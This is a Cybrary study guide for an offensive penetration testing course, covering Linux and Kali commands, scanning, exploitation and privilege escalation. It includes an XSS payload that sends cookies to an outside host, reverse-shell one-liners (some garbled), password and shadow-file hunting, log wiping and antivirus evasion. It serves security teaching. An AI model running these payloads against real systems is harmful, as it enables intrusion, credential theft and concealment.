Study Guide

Offensive Penetration Testing

Instructor: Alejandro Guinea

Created By: Tahir Ibrahim, Teaching Assistant

CYBRARY

Module 1: Course Introduction

Lesson 1.1: Introduction

Skills Learned From This Lesson: Offensive Penetration Testing

- Course Goals
    - Understand Linux commands and shell
    - Understand the hacker's main tools
    - Understand how to gather information for your pentest
    - Understand how to create and use public exploits
    - Understand how to escalate privileges and clear your tracks
    - Apply and conduct a full penetration test
    - Create an executive report so your findings don't go unnoticed

Module 2: Introduction to Pentesting

Lesson 2.1: Basic Linux Commands

Skills Learned From This Lesson: Linux, basic commands,

- updatedb
    - A Linux command that will update the Linux database, names locations, extensions...etc
- man updatedb
    - Opens the manual for the updatedb command and shows a list of options that can be used with the updatedb command

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- locate
    - Used to locate files
- Which
    - Can be used to locate the file and program directory
    - example: which burpsuite
- ->
    - Symbolic links are like shortcuts that show where the real directory of the file is
- whereis
    - Whereis is used to locate binaries, source codes, the program and manual pages of the program
- Find
    - Finds files and programs in there current directory
-

Lesson 2.2: Basic Services to Use in Kali Linux
Skills Learned From This Lesson: Kali OS, Linux, Penetration Testing

- The default root password for Kali OS is ‘toor’ (root backwards)
- ifconfig
    - Shows IP addresses and interfaces
- ssh 10.211.55.7
    - Uses SSH to a given address, SSH = Secure Shell
- ssh admin@10.211.55.7 “ipconfig”
    - Executes the ipconfig command using SSH
- ssh -L 2222:google.com:80 admin@10.211.55.7
    - -L used for local port forwarding,
- 3 types of port forwarding
    - **Local**, **remote** and **dynamic** port forwarding
- scp /root/Desktop/Files/file.txt admin@10.211.55.7:”C:\users\admin\Desktop”
    - Will transfer/copy files using ssh from the local to remote
- scp -T admin@10.211.5.7:”C:\Users\admin\Desktop\test.txt” /root/Decktop/Files/
    - Will transfer/copy files from remote to local
- service apache2 start
    - Starts the apache server on the localhost

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- ftp 10.211.55.7
    - Uses the FTP server to transfer files
    - Using commands **PUT** and **GET** to use with FTP

Lesson 2.3: Service Management

Skills Learned From This Lesson: Kali OS, Linux, Penetration Testing, Managing Services

- /etc/init.d/
    - The location to find configuration processes and services
- /etc/init.d/ssh status
    - Shows the status of the service SSH
- Update-rc.d ssh enable
    - Enables SSH every time the machine restarts
    - Useful for when you making a backdoor or reverse shell
- Can modify and start services/processes to work around your testing most processes and services are found in the /etc/init.d/ directory

Lesson 2.4: Shell and Bash Scripts

Skills Learned From This Lesson: Kali OS, Linux, Penetration Testing, Scripts

- Echo “hello world”
    - Repeats the words in the brackets in the terminal
- nano filename.sh
    - Opens up the nano text editor to edit the filename with the sh extension
    - CTL O - save, CTL X - Closes nano
- #!/bin/bash
    - Makes it a bash script
- Chmod 777
    - Changes file permissions, 1st number is the user, 2nd is the group, 3rd is any other processors, users..etc
- ./filename.sh
    - Executes the file

CYBRARY

Lesson 2.5: Practise Scenarios

Skills Learned From This Lesson: Kali OS, Linux, Penetration Testing,

- rm
  - Removes files
- wget
  - Downloads files using the terminal from the internet
- Cat first-name.txt | tr '[:upper:]' '[:lower:]'
  - Prints out the file on the terminal, | - pipe command used with the main command, will only show names that start with a lowercase
- cat first-name.txt | head -n 20
  - Will only print out the first 20 names
- awk '$0="www."$0".com"'
  - Inserts www. And .com at the start and end of the first names
- Dos2unix
  - Changes the text to a readable format, based on how you are using Linux
- for i in `cat first-names.txt | head -n 20 | dos2unix | awk '$0="www."$0".com"'`;do host $i;done | awk '/has address/ { print $4 }' > filename.txt
  - 1 line of command all put together to find public IP addresses to domain names and outputs the results in a separate file

Module 3: Hacker's Main Tools

Lesson 3.1: Nmap

Skills Learned From This Lesson: Linux, Penetration Testing, Nmap

- nmap -sP 10.211.55.0/24
  - Does a ping sweep to see what devices are active on the network
- nmap -sP 10.211.22.0/24 -oG | awk '/Up$/{print $2}'
  - Does a ping sweep, searches for the word 'up' and filters results to the 2nd field
- nmap -6 [IP address]
  - Scans IPV6 addresses
- nmap --packet-trace 10.211.55.7
  - Nmap performs a packet trace on the given IP address

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- nmap -sV 10.211.55.7
    - Prints out the version of the services that are up
- nmap --packet-trace -T3 10.211.55.7
    - -T is the speed of the scan, speeds are 0-5
- nmap -A -O 10.211.55.7
    - -A enables OS, version, detection, script scanning and traceroute
    - -O is used for OS detection
- nmap -sS 10.211.55.7
    - -sS is an SYN connect scan
- nmap -sU 10.211.5.7
    - -sU scans the UDP protocol
- nmap -sN 10.211.5.7
    - -sN performs a null scan
- nmap -sX 10.211.5.7
    - -sX performs a Xmas scan
- nmap -sV 10.211.5.7
    - -sV scans for the versions of the service
- By default nmap scans the first 1000 ports
- nmap -sV -p- 10.211.5.7
    - -p- scans for all the ports
- nmap -f -p21 10.211.5.7
    - -f Tries to bypass firewall
- nmap --badsum 10.211.5.7
    - --badsum sends packets with a bogus TCP/UDP checksum

CYBRARY

Lesson 3.2: Netcat

Skills Learned From This Lesson: Linux, Penetration Testing, Netcat

- A TCP/IP swiss army knife
- nc 10.211.55.7 80
    - Starts the Netcat shell on the given IP and port number
- HTTP/1.1 200
    - Can perform banner grabbing using Netcat
- Netcat can be used as a listener using various OS’s

- Netcat can be used to transfer files, simple to use and easy to set up
- nc -nlvp 4444
    - Starts a Netcat listener on port 4444
- Netcat doesn't have encryption, captured traffic will be seen

Lesson 3.3: Blind and Reverse Shells
Skills Learned From This Lesson: Linux, Penetration Testing, Shells

- tcpdump -x -X -i eth0 'port 4444'
    - Captures TCP packets on the given interface on port 4444
- Ncat is similar to netcat but has more features like encryption
    - ncat -lvvp 4444
        - Starts the ncat listener on port 4444
    - ncat -lvvp 4444 --ssl
        - Encrypts the communication
- ncat can be used as an encrypted reverse shell
- ncat -lvvp 4444 -e '/bin/bash -i' --ssl
    - Creates a bash shell encrypted listener using ncat which could be used on windows as a reverse shell
- /usr/share/webshells
    - List of many shells in different languages

Lesson 3.4: Wireshark and Tcpdump
Skills Learned From This Lesson: Linux, Penetration Testing, packet capturing

- Tcpdump -x -X -i eth0 'port 1234'
    - Tcpdump is used to capture packets
    - Capturing TCP packets on port 1234 using the eth0 interface
- Wireshark
    - Typing in Wireshark on the terminal will open up the Wireshark program
    - Selecting eth0
    - When sending traffic across that interface Wireshark will pick up that traffic and display it
    - Can use the filter feature to search for a specific packet

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- tshark
    - Tshark is a command-line packet capturer
    - tshark -V -i eth0 ‘tcp port 80’

Lesson 3.5: Burp Suite

Skills Learned From This Lesson: Linux, Penetration Testing, Burp Suite, Proxy

- bWAPP
    - A vulnerable VM to test your tools and skill out on
- Burp Suite
    - Is used to intercept traffic and can be used as a proxy
    - Community and a paid version of burp suite
- Burp spider
    - Burp spider will crawl all the links and domains that are on the website you are on
    - Can change the options to suit your requirements
- Intruder
    - In the positions tab, is where it can set where the payload will be
    - Payloads tab can upload different files with payloads to test
- Repeater
    - Can edit parameters on the html code and shows a response in the raw section
- Many options to explore in burp suite, download bWAPP and play around with burp suite to intercept traffic and manipulate the parameters

CYBRARY

Lesson 3.6: Metasploit Basics

Skills Learned From This Lesson: Linux, Penetration Testing, Metasploit

- Msfconsole
    - Entering the command above will open Metasploit
- Search portscan
    - Searches Metasploit for any port scanner modules
- Use auxiliary/scanner/portscan/syn
    - Uses the selected scanner
- Show options

  - Shows the options of the scanner
- Set rhosts 192.168.0.1
  - Sets the host of the target machine
- Run
  - Executes the scanner
- Several auxiliary modules that can be used in Metasploit
- To use an auxiliary type the ‘use’ command then the auxiliary location and name
- Meterpreter
  - Is a shell used in Metasploit, which can execute lots of commands

Module 4: Information Gathering

Lesson 4.1: Google Hacks

Skills Learned From This Lesson: Penetration Testing, Information Gathering, Google Hacking,

- Google Hacking is used to searching for more information using the google search engine
- Camera Linksys inurl:main.cgi
  - Searches for any Linksys camera home pages that have main.cgi in the URL
- inurl:webarch/mainframe.cgi
  - Shows printer home pages in the given url
- intitle:”network print server” filetype:shtm
  - Searches for anything that’s in the title with a specific file type
- Filetype:
  - Search for a specific file
- Intext:
  - Searches for any text that will be put in after intext
- Ext:
  - Searches for an extension
- www.exploit-db.com/google-hacking-database
  - A whole database for google hacking

Lesson 4.2: DNS Enumeration

CYBRARY

Skills Learned From This Lesson: Penetration Testing, Information Gathering, DNS enumeration

- Locating all DNS servers and corresponding records
- host cybrary.com
  - Shows the public IP address and mail servers
- host -t ns cybrary.com
  - Shows the name server for cybrary
- host -t cname cybrary.com
  - Will look for any cname records
- host -t txt cybrary.com
  - Looks for txt records
- Host -a cybrary.com
  - Will query all records
  - Will be noisy and picked up
- host -v -t a cybrary.com
  - TTL (Time To Live) records
- nslookup -type=ns cybrary.com
  - Looks up the name server
- nslookup -type=mx cybray.com
  - Looks up mail servers
- dig cybrary.com
  - Dig is another command which can be used for DNS enumeration
- dnsenum
  - Another DNS tool used for enumeration
- Maltego can be used as a GUI for DNS enumeration

Lesson 4.3: Port Scanning
Skills Learned From This Lesson: Penetration Testing, Information Gathering, Port Scanning

- Ping sweep
  - Sends pings out to see which machines are on and alive
  - To ping, the sweep can use Nmap
    - nmap -sP 10.211.55.0/24
- Nmap

Brought to you by:
CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

    - Nmap is used for port scanning and scans for any open ports
- WireShark
    - Wireshark is used to capture live packets and any information in that packet
- There are various methods to use in Nmap to help with port scanning to try and find what ports and services are open on the target machines
- Wireshark shows you the packets send to the target machine to see how the machine responds with the packets
- tcptrack -i eth0 -f -r 5 port 25
    - Tcptrack captures all the traffic on the given port
- Hping3
    - Packet assembler that can modify packets to bypass firewall, IPS/IDS

Lesson 4.4: Enumeration

Skills Learned From This Lesson: Penetration Testing, Information Gathering, Enumeration

- Nmap can be used to enumerate the target machine
    - nmap -A 10.211.55.4
        - Enumerates target machine
- nmblookup
    - Used to query NetBIOS
    - nmblookup -A 10.211.55.4
- nbtscan
    - another tool used for enumeration
- smbclient
    - used to talk to smb server
    - smbclient -L 10.211.55.4
- enum4linux
    - can be used to enumerate smb servers
- onesixtyone
    - used to enumerate snmp community strings
- snmpwalk
    - enumerates snmp
- snmpset

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

  - changes snmp strings to a given value

Lesson 4.5: NSE
Skills Learned From This Lesson: Penetration Testing, Information Gathering, Nmap Scripting Engine

- NSE
  - Nmap Scripting Engine
  - uses Nmap scripts to search for vulnerabilities..and much more
- /usr/share/nmap/scripts
  - list of scripts that come by default by Nmap, can google more scripts and save it in the above location
- nmap -p139,445 --script=smb-psexec.nse --script-arg=smbuser=Administrator, smbpass=owned123 10.211.55.4
  - example of how to execute a Nmap script

Lesson 4.6: Python & Pearl Scripts
Skills Learned From This Lesson: Penetration Testing, Information Gathering, Scripting, Python & Pearl

- nano cybrary.py
  - Creates a new python file
- .py is a python file extension
- chmod
  - Changes the file permissions
- Python cybrary.py
  - Runs the python file in the terminal
- nano cybrary.pl
  - Creates a perl script
- #!/usr/bin/perl
  - The syntax needs to be put at top of the file so when executed it will know what language it is

Lesson 4.7: Vulnerability Scanners

CYBRARY

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

Skills Learned From This Lesson: Penetration Testing, Information Gathering, Vulnerability Scanners

- Nikto
  - Web app vulnerability scanner used to scan web applications
- nikto -h 10.211.55.13
  - Simple commands to use in nikto
- Burp Suite
  - Burp Suite has a vulnerability scanner in the paid version
- Nmap
  - Nmap -v -script all 10.211.55.13
  - Using a script in Nmap to use as a vulnerability scanner
- Metasploit can be used as a vulnerability scanner using the command: msfconsole
  - Can run Nmap scripts in Metasploit
  - Use scanner modules built-in Metasploit
- Nessus
  - GUI based vulnerability scanner
  - Community version and a paid version

Module 5: Exploits

Lesson 5.1: XSS

Skills Learned From This Lesson: Penetration Testing, Exploits, Cross-Site Scripting

- XSS
  - Cross-Site Scripting
  - An attack used on the web browser
- Three types of XSS
  - Stored XSS
    - Malicious script is stored on the server/database
  - Reflected XSS
    - Non-persistent attack
  - DOM-based XSS

        - The dataflow never leaves the browser
        - All stored on the DOM
- <script>alert('XSS')</script>
    - Javascript alert which can be inserted into text fields of a website to perform an XSS
- <script>document.write('<img src="http://10.211.55.8:8585/?'+document.cookie+' "/>');</script>
    - Writes cookie and sends it to the URL specified on port 8585

Lesson 5.2: SQL Injections

Skills Learned From This Lesson: Penetration Testing, Exploits, SQL Injections

- SQL injections consist of a group of SQL queries that can be inputted into an input field of a web site to query the underlying database of that application
- Blind SQL injection
    - asking the database true and false questions to get the answer
- Generic error messages can give away database names and tables
- to see if a website is vulnerable to SQL injection attack insert **'** at the end of the URL and see if any error messages appear
- ORDERBY 1--
    - will blindly look for what fields are in the database by incrementing the number till you get an error message
- UNION SELECT 1,2,3,4--
    - selects the underlying field
- There is a wide range of SQL queries that can be injected at the vulnerability point to get database data
- SQLmap
    - SQLmap is a tool that can be used to automate the process on the terminal line by using the command sqlmap

Lesson 5.3: LFI-RFI and Directory Traversal

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

Skills Learned From This Lesson: Penetration Testing, Exploits, LFI-RFI, Directory Traversal

- LFI
  - Local File Inclusion
- RFI
  - Remote File Inclusion
- Can insert malicious code in PHP code and the file will execute it
- Directory reversal
  - moving from one path to another in a sequence using [../../] until we get to the path we intended to get to, example:
    - ../../../etc/shadow
- The difference between LFI and Directory Traversal is that the LFI is loaded and executed in the context of the application
- /usr/share/webshells
  - a list of web shells in Kali Linux in various coding languages
- Can insert a reverse shell using LFI and RFI

<u>Lesson 5.4</u>: Password Attacks
Skills Learned From This Lesson: Penetration Testing, Exploits, Password Attacks

- Offline password attack
  - Taking a password file and brute-forcing it offline
- Online password attack
  - Brute force a password over the internet
- Crunch
  - Creates your own word list
  - Crunch 4 4
    - creates a word list in all combinations min and max 4 characters long
- Cewl
  - creates a word list from a webpage
  - using the command ‘cewl’ in the terminal to use the program
  - can be used to brute force a login page
- Hydra

  - Hydra can be used to brute force web sites and other password attacks
  - A powerful tool used for password attacks, mainly used with the terminal console
- Medusa
  - Medusa is similar to Hydra which will perform password attacks
  - Another powerful tool used in the terminal console
- Ncrack
  - ncrack is another password attack tool that can attack various services
  - one example being SSH
- Metasploit
  - Metasploit has many modules that can be used for password attacks
  - msfconsole
- John the ripper
  - John the ripper can perform offline password attacks
  - Typing in john in the terminal console will start the tool
- Windows Credential Editor
  - Dumps the password in plaintext

Lesson 5.5: Public Exploits

Skills Learned From This Lesson: Penetration Testing, Exploits, Public Exploits

- Public exploit means that there is an exploit that already exists
- www.exploit-db.com
  - a public exploit website
- When finding a vulnerability can see if an exploit already exists and using that public exploit to exploit that machine
- Can find different exploits in various programming languages
- Can download and modify public exploits to suit your needs

Lesson 5.6: MSFvenom

Skills Learned From This Lesson: Penetration Testing, Exploits, MSFvenom

- MSFvenom is a Metasploit framework tool which can create your own exploits/payloads
- To use type ‘msfvenom’ and fill out all possible options to customise your payload

- Easy to create exploits that can be sent via social engineering to get a reverse shell or any exploit to your liking
- A very powerful tool to create and customize your own payloads/exploits that can avoid Anti-viruses

Lesson 5.7: Tunneling

Skills Learned From This Lesson: Penetration Testing, Exploits, Tunneling

- Three Main types
  - Local Port Forwarding
  - Reverse Port Forwarding
  - Dynamic Port Forwarding
- Works on the SSH service will need an SSH client
- Reverse Port Forwarding
  - the given port of the remote server forwards to the given host and port on the local network
- Dynamic Port Forwarding
  - Can tunnel all traffic from different ports to another server
- TOR
  - Acts as a proxy, and sends all traffic through the TOR network
- Proxy Chains
  - Tunnelling proxy with DNS
- Using TOR with Proxy chains together will hide your location and encrypt your traffic

CYBRARY

Lesson 5.8: Lateral and Vertical Movement

Skills Learned From This Lesson: Penetration Testing, Exploits, Lateral and Vertical Movement

- Lateral and Vertical movement means moving from machine to machine on the same subnet/network
- Movements can be made by using tunnels from the previous lesson using TOR and proxy chains

Lesson 5.9: Erasing Your Tracks

Skills Learned From This Lesson: Penetration Testing, Exploits, Erasing Your Tracks

- Erasing your tracking using Metasploit, when you have a shell open using meterpreter type:
    - clearev
        - starts wiping evidence and clear your tracks
- ClearLogs
    - can download the exe and upload on the victim's machine
    - Clears logs on a Windows machine
- Log files for Linux are stored in, **/var/log/** directory
- bash history
    - shows a list of commands stored as a history used in a terminal
    - $HISTSIZE
        - tells you how many commands are saved for the history, can be changed to 0
- Can create own script to automate how to erase all logs and history in Linux and Windows

Lesson 5.10: Antivirus Avoidance

Skills Learned From This Lesson: Penetration Testing, Exploits, Antivirus Avoidance

- Antivirus applications use a database of well-known signatures
- VirusTotal
    - is an online malware scanner that can scan files, URL's, for viruses/malware
- Hybrid Analysis
    - is an online sandbox application where you can upload malware on and will produce a detailed report
- Hyperion and PEScrambler
    - Both applications are used for encoding and encrypting file to avoid antivirus
- Python
    - Can create own payloads and exploits which can help avoid antivirus systems

CYBRARY

Module 6: Buffer Overflow

Lesson 6.1: Basic Concepts

Skills Learned From This Lesson: Penetration Testing, Buffer Overflow

- Buffer Overflow also is known as a buffer overrun
- Data overrun the memory locations causing it to overspill and crash the program
- Common languages are C, C++ and C Sharp
- Bounds checking can prevent buffer overflows but requires additional code and processing time
- The buffer has several pointers, the three main pointers:
  - ESP
  - EIP
  - EBP

Lesson 6.2: Immunity Debugger: Fuzzing

Skills Learned From This Lesson: Penetration Testing, Buffer Overflow, Fuzzing

- Immunity Debugger is a tool that helps write exploits, analyze malware. It reverses engineers binary files
- www.immunityinc.com
- Using a payload written in C to crash an application from there we can then pinpoint in immunity where the exact location it crashes
- Fuzzing is a process that we can use using different inputs to find a buffer overflow vulnerability

Lesson 6.3: Controlling EBP/ESP/EIP

Skills Learned From This Lesson: Penetration Testing, Buffer Overflow, Pointers

- Pattern create
  - /usr/share/Metasploit-framework/tools/exploit/pattern_create.rb
  - Ruby file used in a Metasploit framework
- Pattern create, creates a string of unique strings to pinpoint the exact location of the buffer overflow

- Pattern Offset
    - /usr/share/Metasploit-framework/tools/exploit/pattern_offset.rb
        - queries our pattern from what we used previously and shows us the location

Lesson 6.4: Bad Chars
Skills Learned From This Lesson: Penetration Testing, Buffer Overflow, Bad Chars

- We need to check if the application doesn't support certain characters
- The most problematic character is the 'null byte'
    - Null byte - hex equivalent of 00
- Can google 'bad character list' and look for a list of bad characters to test with
- Using the bad character list we can then find which characters doesn't support the application which will make it crash so we can avoid them characters when creating the payload for a shell

Lesson 6.5: Redirecting Execution
Skills Learned From This Lesson: Penetration Testing, Buffer Overflow, Redirection Execution

- Using Mona modules to jump pointers and redirect an execution
- /usr/share/Metasploit-framework/tools/exploit/nasm_shell.rb
    - Nasm shell can be used to jump pointers
- Mona Modules
    - Show us all the modules that are loaded in memory when the application crashes, helps us to see if there is another module/stack to jump to

Lesson 6.6: Creating a Payload
Skills Learned From This Lesson: Penetration Testing, Buffer Overflow, Payloads

- Msfvenom
    - A framework used in Metasploit to create payloads
- Once the payload is all ready to be executed, start a Netcat listener in one terminal then execute the payload in the other terminal

CYBRARY

- Once the payload gets ironed out it will not cause the application to crash and still be used as a shell

Module 7: Privilege Escalation

Lesson 7.1: Linux OS

Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Linux

- Privilege Escalation is finding whats services and users are on the system and gathering as much information about the victim's machine
- In the Kali Linux terminal type: cat /etc/issue
  - Find the versions of the OS
- cat /proc/version
  - The OS release, kernel and distribution use, GCC compiler version
- uname -a
  - Unix name, name and details of the machine
- Whoami
  - shows you who are signed in as
- cat /etc/password
  - Shows a list of users
- cat /etc/issue
  - Tells you what the issue version of the OS is
- dmesg | grep Linux
  - shows you the ring buffer
- ls /boot/ | grep vmlinuz
  - boot folder contains all the related boot files, vmlinuz also known as the kernel
- cat /etc/profile
  - shows the profile file for the Linux system
- cat ~/.bashrc
  - shell script, interacts a shell session, can customise the file too
- cat ~/.bash_logout
  - login out the Linux system using a bash shell can customize to do activities when logging out

CYBRARY

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- Env
    - shows you the environment variables
- Set
    - Can modify the variables
- lpstat -a
    - looks for printers on the network, checks the status of the lp service, pending print jobs..etc

Lesson 7.2: Linux Applications and Services
Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Linux

- ps aux
    - Shows all the processors running for the user
- ps -auroot
    - Shows a list of processes for the root user
- ps -ef
    - Shows every process currently running on the OS (-e), the (-f) option shows fewer items of information for the basics
- Top
    - dynamic real-time processor usage with a summary
- cat /etc/services
    - Shows information about the services and ports to cross-reference what services are running on which port
- netstat -antp
    - Shows a list of current services that are running in real-time
- ls -alh /usr/bin/
    - list everything in the /usr/bin folder, (-a) do not ignore entries that start with a point, (-l) long list format, (-h) print in a human-readable format.
    - The /use/bin folder mostly contain executable files/programs
- ls -alh /sbin/
    - This folder contains administrative executable programs/files
- dpkg -l
    - Shows a list of packages installed on the system

CYBRARY

- cat /etc/apache2/apache2.conf
    - Checks configurations and extensions to look for any vulnerable ones
- crontab -l
    - Shows the crontab list
- ls -alh /var/spool/cron
    - Shows the crontab folder
- grep -iRl “pass” /
    - Checks all the files/folders with the word ‘pass’, (-i) ignore the text case, (R) Check files instead of directories, (l) show file names and paths instead of contents

Lesson 7.3: Linux Files

Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Linux

- find /etc/ -readable -type f 2>/dev/null
    - looks for a config file that can be written/readable by anyone
- ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null
    - Looks for config files which are read/writeable by anyone
- ls -aRl /etc/ | awk ‘$1 ~ /^.....w/’ 2>/dev/null
    - Searches read/writeable files by a specific group/owner
- ls -alh /var/log
    - search the var directory for logs
- ls -alh /var/lib/mysql
    - Search for files in the MySQL folder
- ls -alh /var/www/
    - Searches the apache directory for any open files
- cat /etc/httpd/logs/access_log
    - opens up the access logs
- cat /var/www/admin/
    - shows the admin files of the webserver
- python -c ‘import pty;pty.spawn(“/bin/bash”)’
    - import python
- Mount
    - shows any mount points

CYBRARY

- df -h
  - Disk free
- cat /etc/fstab
  - shows all disk partitions, available disks and options
- find / -perm -1000 -type d 2>/dev/null
  - SUID/GUID
- for i in ‘locate -r “bin$”’; do find $i \(-perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
  - create a for look, that looks in bin, sbin, user local sbin to find anything with a sticky bit (SUID)
- find / -writable -type d 2>/dev/null
  - Finds writable files
- find / -xdev -type d \(-perm -0002 -a ! -perm -1000 \) -print
  - finds more writable files

<u>Lesson 7.4</u>: Linux Networking

Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Linux

- /sbin/ifconfig -a
  - The ifconfig command directory, which is the network configuration
- cat /etc/interfaces.d*
  - configuring network settings/interfaces
- cat /etc/sysconfig/network, (locate network)
  - network files
- cat /etc/resolv.conf
  - the name server and DNS resolver
- cat /etc/sysctl.conf
  - allows you to run a Linux kernel, by configuring the Linux settings
- cat /etc/networks
  - ipranges and network names, used for tools like netstat and route
- iptables -L
  - shows the firewall rules
- Hostname
  - gives the name of the host

CYBRARY

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- grep 80 /etc/services
- cat /etc/services | grep 80
  - looks for services on a given port
- netstat -antup, netstat -antpx, netstat -tulpn
  - uses netstat flags to get more information about what ports are open and what services are running or location, processor IDs..etc
- Last
  - last logged in from users
- W
  - whos logged on and what they doing
- Route
  - /sbin/route -nee
  - can be used to manipulate the IP table
- nc -nlvp 1234
  - uses Netcat to listen on port 1234
- nc 192.168.0.1 1234
  - connects to the port that Netcat is listening on, which then creates a shell
- telnet 10.0.0.1 4444 | /bin/sh | 10.0.0.2 1234
  - reverse shell with telnet
- mknod backpipe p ; -l -p 4444 < backpipe | nc 10.0.0.1 80 > backpipe
  - used to get a reverse shell

CYBRARY

Lesson 7.5: Linux Misconfigurations for Confidential Information
Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Linux

- Id
  - shows the user id and the group id you are using
- Who
  - Shows user information about the user logged in
- cat /etc/passwd | cut -d: -f1
  - finds a list of users
- grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’
  - Finds all the super users

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- cat /etc/sudoers
  - shows the sudo files and the users
- cat /etc/group
  - shows a list of users groups
- cat /etc/shadow
  - List of hashed passwords
- ls -alh /var/mail
  - Users mailbox files
- ls -ahlR /root/
  - The root folder
- ls -alh /home/
  - shows the home folder
- cat ~/. cat ~/.bash_history cat ~/.bash_logout cat ~/.bashrc
  - useful information to look at to look to see what history and log out files
- cat /etc/ssh/ cat /etc/ssh/config cat /etc/ssh/ssh_host_dsa_key.pub
  - information about the ssh service
- wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py -o /var/www/html/linux.py
  - downloads a Linux privilege escalation script

Lesson 7.6: Windows OS

Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Windows

- Systeminfo
  - Shows system information of the operating system
- systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
  - Looking for specific information like the OS name and the OS version
- Hostname
  - Shows the name of the host
- Whoami
  - Shows what user is you are

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- echo %username%
  - Shows username
- net users
  - Shows admins and guest users
- user <username>
  - Shows all information about that user
- ipconfig ipconfig /all
  - Shows network information
- route print
  - Shows the routing table
- arp -A
  - Shows the ARP table
- netstat -anob
  - Listing active connections
- netsh firewall show state
  - Shows the state of firewall and information
- netsh advfirewall firewall
  - Shows firewall information
- netsh firewall show config
  - Shows configurations of the firewall
- schtasks /query /fo LIST /v
  - Shows a list of tasks
- tasklist /SVC
  - Shows a list of running processors
- net start
  - More information about services and processors running
- DRIVERQUERY
  - List of drivers

Lesson 7.7: WMIC

Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Windows

- wmic /?
  - Shows a list of commands that can be used in WMIC

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- wmic qfe get Caption, Description, HotFixID, Installedon
  - Shows patches that have been installed
- Systeminfo
  - Shows system information
- wmic qfe get Caption,Description,HotFixID,Installedon | findstr /C: “KB4504369”
  - Looks for a specific patch using the HotFixID
- reg query HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  - Always install elevated, allows users to install packages as an admin
- dir /s *pass* == *creds*
  - Finding file names that contain keywords
- findstr /si password *.xml , findstr /si password *.ini, findstr /si password *.txt
  - Looks for file extensions
- reg query HKLM /f password /t REG_SZ /s
  - Looks for keyword passwords

Lesson 7.8: Windows Application and Services

Skills Learned From This Lesson: Penetration Testing, Privilege Escalation, Windows

- sc qc Spooler
  - Query, configure, manage services
- accesschk.exe -ucqv Spooler
  - See permissions
- accesschk.exe -uwcqv “Authenticated Users” *
  - Checks for any authenticated users
- accesschk.exe -qwsu “Everyone” *
  - Checks for every user with using different flags
- Set-ExecutionPolicy RemoteSigned
  - Can run scripts in PowerShell

Module 8: Pentest Simulations

Lesson 8.1: Pre-Engagement Actions

Skills Learned From This Lesson: Penetration Testing, Pentest Simulations, Pre-Engagement

Brought to you by:

CYBRARY | FOR BUSINESS

*Develop your team with the **fastest growing catalog** in the cybersecurity industry. Enterprise-grade workforce development management, advanced training features and detailed skill gap and competency analytics.*

- Scope
  - Defining the scope is the most important steps in performing a penetration test
  - It specifies what you can test and what you cannot test
- Dealing with third parties
  - Discuss with the client about any third parties services that are running with the customer
  - Cloud services - will not allow pen-testing, or will need to require written permission from the cloud provider
- Rules of Engagement
  - The purpose of the test is not to alter the client's environment but to only assess the security
  - Rules of engagement should be set before starting the pen testing
- Documentation and Report Handling
  - Everything should be reported and documented
  - Tools used, vulnerabilities found. Everything
  - https://github.com/juliocesarfort/public-pentesting-reports
    - Github full of pen-testing reports
- Additional Support based on an hourly rate
  - Anything out of the scope or contract that the customer asks for, a new contract may need to be written
- Questionnaires
  - Questions that are designed to understand what the client wants to gain out the pen test

CYBRARY

Lesson 8.2: Reconnaissance and Vulnerability Identification

Skills Learned From This Lesson: Penetration Testing, Pentest Simulations, Reconnaissance and Vulnerability

- Ping sweep
  - Pings a range of addresses to see what machines are online
- Nmap
  - Using Nmap to scan for open ports and services that are running on the machines

- Metasploit
    - Using Metasploit scanner modules to scan for various services on the machine
- Exploit DB
